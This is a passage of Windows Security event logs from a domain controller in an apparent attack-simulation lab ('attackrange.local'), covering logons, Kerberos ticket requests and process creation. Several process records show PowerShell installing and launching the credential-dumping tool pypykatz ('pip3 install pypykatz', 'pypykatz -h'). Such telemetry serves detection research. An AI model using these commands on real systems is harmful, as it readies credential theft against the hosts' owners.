0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257800 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7E5FED45-AB92-C331-61D0-86750AC9F072} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257799 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ec - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (pip3 -V) {exit 0} else {exit 1}} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257809 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (python --version) {exit 0} else {exit 1}} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257815 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c pypykatz -h - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257814 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {pip3 install pypykatz} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257812 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa24 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c pypykatz -h - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257811 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {if (cmd /c pypykatz -h) {exit 0} else {exit 1}} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x85c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc88 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257838 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257837 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257836 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257835 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257834 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257833 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257832 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E529 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257831 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257830 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x550CBA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257829 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E529 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257828 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E529 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257827 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257826 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A77B5426-D237-0634-10D2-35D5D645BEF1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257825 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257824 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E507 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:33:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257823 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E507 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - 